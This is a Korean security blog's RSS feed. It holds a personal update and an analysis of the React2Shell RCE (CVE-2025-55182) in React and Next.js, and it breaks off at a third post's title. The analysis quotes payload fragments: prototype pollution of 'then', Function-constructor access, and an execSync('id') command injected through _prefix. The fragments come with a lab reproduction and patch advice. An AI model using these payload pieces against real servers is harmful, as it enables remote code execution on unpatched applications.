<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>d0r1</title>
    <link>https://dor1m4n.tistory.com/</link>
    <description>열공 열공</description>
    <language>ko</language>
    <pubDate>Sun, 14 Jun 2026 18:09:03 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>d0r1</managingEditor>
    <image>
      <title>d0r1</title>
      <url>https://tistory1.daumcdn.net/tistory/5721362/attach/b9da63a94cc0465d913d8a2dff928a95</url>
      <link>https://dor1m4n.tistory.com</link>
    </image>
    <item>
      <title>근황 겸 라업 작성이 뜸한 이유</title>
      <link>https://dor1m4n.tistory.com/308</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;최근 이직을 하여, 새로운 업무에 집중하느라 해킹에 조금 끈을 놓은 듯 합니다 ( 핑계 )&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 사유도 있긴하지만&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;요즘 약간 LLM로 몇날밤을 고생해서 푼 문제가 딸깍으로 풀리는 모습을 보면서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;워게임 푸는 것도 흥미를 잃은 거 같습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내가 밤을 새가며 푼 문제의 점수로 유지되던 등수가&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하루 밤 사이에 딸깍으로 주르륵 흘러내리는 모습이 참으로 마음 아프더라고요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어떻게 풀었냐고 물어보면&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;챗지피티가..&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그래서 사실 워게임을 잠시 손놓아주고, 모바일 공부와 인프라진단 공부를 하고 있습니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2404&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Lz8Zb/dJMcaflpEKZ/GC3Bwvk5YtKstZON2pLkQ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Lz8Zb/dJMcaflpEKZ/GC3Bwvk5YtKstZON2pLkQ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Lz8Zb/dJMcaflpEKZ/GC3Bwvk5YtKstZON2pLkQ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLz8Zb%2FdJMcaflpEKZ%2FGC3Bwvk5YtKstZON2pLkQ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2404&quot; height=&quot;844&quot; data-origin-width=&quot;2404&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;뭐 이것저것 엄청 쓰긴했는데&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실제로 실무보면서 도움되는 케이스가 많기도했고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;노션에 정리하는게 얼마나 중요한지 다시 한번 느낍니다&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;앞으로 블로그에 올라갈 글들은 단순 드림핵 워게임보다는 HTB이 될 거 같네요&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다들 건강한 2026년 보내시고 즐거운 한해 되시길.&lt;/p&gt;</description>
      <category>이것저것</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/308</guid>
      <comments>https://dor1m4n.tistory.com/308#entry308comment</comments>
      <pubDate>Tue, 3 Mar 2026 01:40:39 +0900</pubDate>
    </item>
    <item>
      <title>CVE-2025-55182 - React2Shell 취약점 분석</title>
      <link>https://dor1m4n.tistory.com/304</link>
      <description>&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.dailysecu.com/news/articleView.html?idxno=203349&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://www.dailysecu.com/news/articleView.html?idxno=203349&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1766040723051&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;React&amp;middot;Next.js 겨냥한 React2Shell 공격 한국포함 전세계 확산&amp;hellip;일부 PoC는 실전 사용 가능 - 데일리시큐&quot; data-og-description=&quot;React 기반 웹 애플리케이션을 겨냥한 치명적인 원격코드실행(RCE) 취약점 &amp;lsquo;React2Shell&amp;rsquo;을 악용한 공격이 빠르게 확산되고 있다. 취약점 공개 이후&quot; data-og-host=&quot;www.dailysecu.com&quot; data-og-source-url=&quot;https://www.dailysecu.com/news/articleView.html?idxno=203349&quot; data-og-url=&quot;https://www.dailysecu.com/news/articleView.html?idxno=203349&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/nHUHx/hyZPAHzpDh/f55xQYvBKul0senmjsNPXK/img.jpg?width=960&amp;amp;height=668&amp;amp;face=0_0_960_668,https://scrap.kakaocdn.net/dn/YPFfb/hyZP1Q7Vyw/2YLIJFcOK3Wx2cgbmkcPoK/img.jpg?width=960&amp;amp;height=668&amp;amp;face=0_0_960_668,https://scrap.kakaocdn.net/dn/ehsOT4/hyZPM7M6V8/ORd05rJelkFAhxToI1HyaK/img.jpg?width=960&amp;amp;height=668&amp;amp;face=0_0_960_668&quot;&gt;&lt;a href=&quot;https://www.dailysecu.com/news/articleView.html?idxno=203349&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://www.dailysecu.com/news/articleView.html?idxno=203349&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/nHUHx/hyZPAHzpDh/f55xQYvBKul0senmjsNPXK/img.jpg?width=960&amp;amp;height=668&amp;amp;face=0_0_960_668,https://scrap.kakaocdn.net/dn/YPFfb/hyZP1Q7Vyw/2YLIJFcOK3Wx2cgbmkcPoK/img.jpg?width=960&amp;amp;height=668&amp;amp;face=0_0_960_668,https://scrap.kakaocdn.net/dn/ehsOT4/hyZPM7M6V8/ORd05rJelkFAhxToI1HyaK/img.jpg?width=960&amp;amp;height=668&amp;amp;face=0_0_960_668');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;React&amp;middot;Next.js 겨냥한 React2Shell 공격 한국포함 전세계 확산&amp;hellip;일부 PoC는 실전 사용 가능 - 데일리시큐&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;React 기반 웹 애플리케이션을 겨냥한 치명적인 원격코드실행(RCE) 취약점 &amp;lsquo;React2Shell&amp;rsquo;을 악용한 공격이 빠르게 확산되고 있다. 취약점 공개 이후&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;www.dailysecu.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;최근 보안판을 가장 뜨겁게 달군 녀석을 분석해보려고 해당 게시글을 작성하게 되었다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;개요&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;CVSS 10.0&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;가장 최고점을 갖는 CVE가 최근 발급되었다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;해당 취약점은 현재 React2Shell 이라고 불리며, 과거&amp;nbsp;log4j&amp;nbsp;RCE처럼&amp;nbsp;입력값이&amp;nbsp;프레임워크&amp;nbsp;내부&amp;nbsp;로직을&amp;nbsp;통해&amp;nbsp;자동&amp;nbsp;처리되며,&amp;nbsp;개발자&amp;nbsp;개입&amp;nbsp;없이&amp;nbsp;원격&amp;nbsp;코드&amp;nbsp;실행으로&amp;nbsp;이어진다는&amp;nbsp;점에서&amp;nbsp;유사하다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이 취약점의 영향&amp;nbsp;범위는&amp;nbsp;React&amp;nbsp;19.x&amp;nbsp;및&amp;nbsp;Next.js&amp;nbsp;App&amp;nbsp;Router(Server&amp;nbsp;Actions&amp;nbsp;사용&amp;nbsp;환경)로&amp;nbsp;확인되었으며,&amp;nbsp;특정&amp;nbsp;버전&amp;nbsp;조합에서&amp;nbsp;재현된다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이는 React Server Component의 안전하지 않은 역직렬화 과정에서 발현된다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;해당 취약점은 Flight Payload 역직렬화 과정에서 발생하는 취약점이다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;취약점 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;Next.js는 Next-Action 헤더를 감지하면, Server Action 요청으로 인식하고 이를 처리하기 위해 HTTP Body를 파싱(역직렬화)하는 과정을 거친다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이 과정의 경우, 프레임워크 내부에서 자동으로 수행되기에 개발자가 어떠한 코드를 작성하지 않았더라도 발현될 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;해당 취약점에 대한 내용은 PoC를 기반으로 작성된다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/l4rm4nd/CVE-2025-55182&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://github.com/l4rm4nd/CVE-2025-55182&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1766041115270&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - l4rm4nd/CVE-2025-55182: Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation&quot; data-og-description=&quot;Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation - l4rm4nd/CVE-2025-55182&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/l4rm4nd/CVE-2025-55182&quot; data-og-url=&quot;https://github.com/l4rm4nd/CVE-2025-55182&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/dM4P37/hyZP3g6Irg/Akq2kycNaMBxVq8wn6BwKk/img.png?width=1200&amp;amp;height=600&amp;amp;face=976_153_1056_241,https://scrap.kakaocdn.net/dn/WGzuo/hyZONN0oUz/6bbUIiemuXGDYnYMZY85b1/img.png?width=1200&amp;amp;height=600&amp;amp;face=976_153_1056_241&quot;&gt;&lt;a href=&quot;https://github.com/l4rm4nd/CVE-2025-55182&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/l4rm4nd/CVE-2025-55182&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/dM4P37/hyZP3g6Irg/Akq2kycNaMBxVq8wn6BwKk/img.png?width=1200&amp;amp;height=600&amp;amp;face=976_153_1056_241,https://scrap.kakaocdn.net/dn/WGzuo/hyZONN0oUz/6bbUIiemuXGDYnYMZY85b1/img.png?width=1200&amp;amp;height=600&amp;amp;face=976_153_1056_241');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - l4rm4nd/CVE-2025-55182: Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;Docker poc lab for CVE-2025-55182 / CVE-2025-66478 (React2Shell) detection and exploitation - l4rm4nd/CVE-2025-55182&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;해당 작성자의 PoC을 살펴보면서 취약점을 살펴보자&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;3740&quot; data-origin-height=&quot;1556&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cgmKJi/dJMcaajyjZn/ho5vCiXExJH2nP0LG8s4Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cgmKJi/dJMcaajyjZn/ho5vCiXExJH2nP0LG8s4Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cgmKJi/dJMcaajyjZn/ho5vCiXExJH2nP0LG8s4Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcgmKJi%2FdJMcaajyjZn%2Fho5vCiXExJH2nP0LG8s4Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;3740&quot; height=&quot;1556&quot; data-origin-width=&quot;3740&quot; data-origin-height=&quot;1556&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;Next-Action 헤더를 추가하고, 바디에 페이로드를 담아 전달하는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이를 상세 분석하면 다음과 같다&lt;/p&gt;
&lt;pre id=&quot;code_1766046786892&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;then&quot;: &quot;$1:__proto__:then&quot;,&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;JavaScript의 비동기처리 메커니즘인 then을 오염시켜 흐름을 조작&lt;/p&gt;
&lt;pre id=&quot;code_1766046818042&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;get&quot;: &quot;$1:constructor:constructor&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;객체의 생성자에 접근하여, 문자열 형태의 코드를 실제 실행 가능한 함수로 변환&lt;/p&gt;
&lt;pre id=&quot;code_1766046849192&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;_prefix&quot;: &quot;var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});&quot;&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;child_process.execSync('id') 를 통해 id 명령어를 실행하고, 이를 res에 저장&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;res에 저장한 것을 에러 객체의 digest 속성에 담아서, throw를 수행&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;▶️ next.js에서 NEXT_REDIRECT 에러는 클라이언트로 전달되는 특성이 존재해 이를 통해 명령어 실행결과를 받으려함&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;이를 순서에 따라 재정리해보자&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;1. multipart/form-data 형식으로 서버에 요청을 보낸다&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;2. 요청 값을 서버는 React Server Action 전용 디코더로 파싱하며, 이 과정에서 참조 기반 객체 그래프를 복원한다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt; 이때 $1, $Q2와 같은 React Flight reference를 통해 서버 메모리상의 객체들을 조작함&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;3. Flight Payload 재구성 과정에서 사용되는 내부 response 객체의 _prefix 문자열이 Function&amp;nbsp;constructor&amp;nbsp;경로를&amp;nbsp;통해&amp;nbsp;실행되는&amp;nbsp;지점에&amp;nbsp;도달한다&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;4. 임의 코드가 실행되고, 에러메시지 내 실행된 결과가 노출된다&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;&lt;span&gt;재현&lt;/span&gt;&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;앞선 도커 파일을 통해, 서버를 구축하고 PoC에 맞춰 재현을 수행해보자&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2248&quot; data-origin-height=&quot;431&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cMbRTn/dJMcagD5Eoj/nRyHvllRuSgfpBgNjuzd61/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cMbRTn/dJMcagD5Eoj/nRyHvllRuSgfpBgNjuzd61/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cMbRTn/dJMcagD5Eoj/nRyHvllRuSgfpBgNjuzd61/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcMbRTn%2FdJMcagD5Eoj%2FnRyHvllRuSgfpBgNjuzd61%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2248&quot; height=&quot;431&quot; data-origin-width=&quot;2248&quot; data-origin-height=&quot;431&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;1187&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/VCe6n/dJMcafrDfaH/AU2qc0blZK1NDiJTuI8ZY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/VCe6n/dJMcafrDfaH/AU2qc0blZK1NDiJTuI8ZY1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/VCe6n/dJMcafrDfaH/AU2qc0blZK1NDiJTuI8ZY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FVCe6n%2FdJMcafrDfaH%2FAU2qc0blZK1NDiJTuI8ZY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1650&quot; height=&quot;1187&quot; data-origin-width=&quot;1650&quot; data-origin-height=&quot;1187&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;실제로 응답 값 내 에러메시지 속에 실행된 명령어의 결과가 노출되는 것을 확인할 수 있었다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;지금 내가 테스트한 것은 단순 코드 실행 후 결과 노출이지만&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://asec.ahnlab.com/ko/91526/&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://asec.ahnlab.com/ko/91526/&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1766047797126&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;article&quot; data-og-title=&quot;React2Shell 취약점(CVE-2025-55182)을 악용한 EtherRAT 악성코드 유포 - ASEC&quot; data-og-description=&quot;React2Shell 취약점(CVE-2025-55182)을 악용한 EtherRAT 악성코드 유포 ASEC&quot; data-og-host=&quot;asec.ahnlab.com&quot; data-og-source-url=&quot;https://asec.ahnlab.com/ko/91526/&quot; data-og-url=&quot;http://asec.ahnlab.com/ko/91526/&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/eGMR0/hyZPQ3qNE8/rOftGGVMfBiyuz3UTq4A40/img.jpg?width=1792&amp;amp;height=1024&amp;amp;face=0_0_1792_1024,https://scrap.kakaocdn.net/dn/LUiTI/hyZPrKIiEc/ieNMevtqHiNLRwYIHADXdK/img.png?width=940&amp;amp;height=566&amp;amp;face=0_0_940_566,https://scrap.kakaocdn.net/dn/cEBAK4/hyZOGVFm0k/oOH8oWxWBG9RQEtQJKlGK0/img.png?width=940&amp;amp;height=299&amp;amp;face=0_0_940_299&quot;&gt;&lt;a href=&quot;https://asec.ahnlab.com/ko/91526/&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://asec.ahnlab.com/ko/91526/&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/eGMR0/hyZPQ3qNE8/rOftGGVMfBiyuz3UTq4A40/img.jpg?width=1792&amp;amp;height=1024&amp;amp;face=0_0_1792_1024,https://scrap.kakaocdn.net/dn/LUiTI/hyZPrKIiEc/ieNMevtqHiNLRwYIHADXdK/img.png?width=940&amp;amp;height=566&amp;amp;face=0_0_940_566,https://scrap.kakaocdn.net/dn/cEBAK4/hyZOGVFm0k/oOH8oWxWBG9RQEtQJKlGK0/img.png?width=940&amp;amp;height=299&amp;amp;face=0_0_940_299');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;React2Shell 취약점(CVE-2025-55182)을 악용한 EtherRAT 악성코드 유포 - ASEC&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;React2Shell 취약점(CVE-2025-55182)을 악용한 EtherRAT 악성코드 유포 ASEC&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;asec.ahnlab.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;이를 고도화한 공격이 존재하는 것을 확인할 수 있다&lt;/p&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;text-align: center;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;조치 방안&lt;/b&gt;&lt;/h2&gt;
&lt;p style=&quot;text-align: center;&quot; data-ke-size=&quot;size16&quot;&gt;최신 버전으로 업데이트를 수행하면 해당 취약점은 더이상 발현되지 않는다&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style2&quot;&gt;참고문헌&lt;br /&gt;https://github.com/l4rm4nd/CVE-2025-55182&lt;br /&gt;https://bandal.dev/blog/react-2-shell&lt;br /&gt;http://blog.omoknooni.me/180&lt;br /&gt;https://www.enki.co.kr/media-center/blog/complete-analysis-of-the-react2shell-cve-2025-55182-vulnerability&lt;/blockquote&gt;</description>
      <category>이것저것/관심</category>
      <author>d0r1</author>
      <guid isPermaLink="true">https://dor1m4n.tistory.com/304</guid>
      <comments>https://dor1m4n.tistory.com/304#entry304comment</comments>
      <pubDate>Thu, 18 Dec 2025 17:50:30 +0900</pubDate>
    </item>
    <item>
      <title>HTTP Cookie Sandwich</title>
      <link>https://dor1m4n.tistory.com/281</link>
